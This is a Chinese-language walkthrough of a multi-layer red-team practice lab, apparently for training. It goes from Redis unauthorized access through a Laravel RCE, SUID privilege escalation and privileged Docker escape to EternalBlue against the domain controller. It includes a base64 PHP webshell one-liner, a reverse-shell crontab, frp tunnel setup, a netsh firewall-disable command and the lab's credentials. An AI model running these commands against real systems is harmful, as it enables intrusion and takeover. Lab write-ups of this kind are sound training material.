ATT-CK红队实战靶场07
环境搭建
整个靶场环境一共五个靶机(总共27.8 GB),分别位于三层网络环境中:

DMZ区IP段为192.168.1.1/24 复制物理机网络
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24
网络设置
在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为
192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24:

将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机
皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。
DMZ区域:
给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二
层网络。
第二层网络区域:
给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网
络,一个连接在VMnet14上连通第三层网络。
第三次网络区域:
给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第
三层网络。
服务配置
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应
的主机上启动靶机服务(有的需要加上sudo执行):
DMZ区的Ubuntu需要启动nginx服务:
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F
第二层网络的Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的Windows 7PC 2)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
用户信息
**域用户账户和密码如下 **:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
**Ubuntu 1 **:
web:web2021
**Ubuntu 2 **:
ubuntu:ubuntu
**通达OA账户 **:
admin:admin657260
外网打点
对dmz靶机进行端口扫描

22端口:ssh,基本不考虑爆破
80,81端口:访问一个404一个502不知道是不是我环境搭建有问题
6379端口:redis未授权访问
redis未授权访问
尝试连接,发现存在redis未授权访问

现在有三个利用思路:
1、写webshell
2、写ssh公钥
3、写计划任务
这里有一点限制,2和3都需要root权限启动的redis才能执行,因为我们这里是用sudo启动的redis,所以可以直接写公钥

添加首位换行,避免乱码
1 | (echo -e "\n\n";cat .ssh/id_rsa.pub;echo -e "\n\n") > key.txt |
设置备份路径并写入公钥

1 | ┌──(root㉿kali)-[~] |
ssh免密登录

上线到msf
使用 exploit/multi/script/web_delivery文件落地上线,这样比生成门后快一点
设置好payload和target

将运行结果复制到ssh shell中运行


msf收到会话

内网打点
信息收集
存在两张网卡,还有另一个网段52

添加路由把msf代理进去

msf主机存活扫描模块
1 | auxiliary/scanner/discovery/arp_sweep ARP扫描 |
msf端口扫描模块
1 | auxiliary/scanner/portscan/ack TCP ACK端口扫描 |
反向代理使用nmap对52网段进行扫描

添加代理
1 | vim /etc/proxychains4.conf |
nmap扫描内网太慢了,而且这样走msf的proxy模块,很不稳定,必须走tcp流量,而30靶机开启了防火墙所以一直回显denied

关了防火墙用msf模块扫描

浏览器挂上反向代理,或者直接用proxychains打开火狐

都存在web服务
30是通达oa

20是Laravel

通达oa
先看通达oa,爆出过不少漏洞,记得用proxychains代理检测工具

蚁剑直接添加socks4代理

直接就是system权限

发现还有一个网段93/24

Laravel
52网段还存在一个Laravel框架的web服务,爆出了版本,存在漏洞

nginx反向代理,应该就是最开始dmz区的那台主机的81端口的服务,当时我忘了开机,所以访问502

下载exp,修改url https://github.com/crisprss/Laravel_CVE-2021-3129_EXP


先写webshell到蚁剑,用base64写马不用担心转义问题
1 | echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d >1.php |

做信息收集发现主机名很奇怪,存在dockerenv文件应该是docker容器了

用curl上线到msf,少很多命令要自己调整一下



提权+docker 逃逸
先提权再逃逸,linux提权三板斧,有个shell看看

运行发现应该是个ps命令,是s权限

我们可以构造一个环境变量来替换这个shell文件达到提权目的
1 |
|
不知道为什么蚁剑里修改环境变量没生效,到msf里修改生效了

反弹一个shell到nc吧,半交互式shell方便一点


提权完成,开始逃逸,docker逃逸一般都是特权模式逃逸,创建容器时通过添加–privileged=true参数,将容器以特权模式起动,提权模式可以访问宿主机文件
特权模式起动的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(000000xfffffffff代表为特权模式起

将本地目录挂载到宿主机
1 |
|

再利用计划任务反弹shell
1 | cd /tmp && touch shell.sh && chmod +x shell.sh |

再写入计划任务
1 | sed -i '$a*/1 * * * * root bash /tmp/shell.sh ' /xx/etc/crontab |

kali监听

再上线到msf维持权限

域渗透
现在拿到的权限有,dmz区域的外网靶机,和两台52网段的靶机.根据拿到的靶机发现还存在第三层网络93网段,并且存在域环境

添加到93网段的路由

因为第二层是出网的,也可以上线cs抓一下密码

再用fscan扫描内网

扫出30和40两个主机,30为dc,都存在17010永恒之蓝,上传frp配置代理到web2,因为第二层是出网的,所以直接配置一层就行(msf的隧道不稳经常掉)
配置隧道
kali配置服务端frps.ini,启动
1 | [common] |

web2配置frpc.ini,启动方法一样
1 | [common] |
porxychins添加一条,其他工具就可以走这个代理
1 | socks5 127.0.0.1 1080 |
域内横向
msf添加一个代理
1 | setg Proxies socks5:127.0.0.1:1080 |
尝试永恒之蓝,这里要注意使用正向payload,因为目标靶机是不出网的

成功拿到192.168.93.40的会话

打域控的时候发现利用成功但是没返回会话

应该是没关防火墙,用winexe登录到域控上去把防火墙关了,前面已经用cs抓到管理员的密码
1 | proxychains winexe -U 'administrator%Whoami2021' //192.168.93.30 cmd.exe |
1 | netsh advfirewall set allprofiles state off #关闭防火墙 |


关闭防火墙后继续打,成功拿下DC
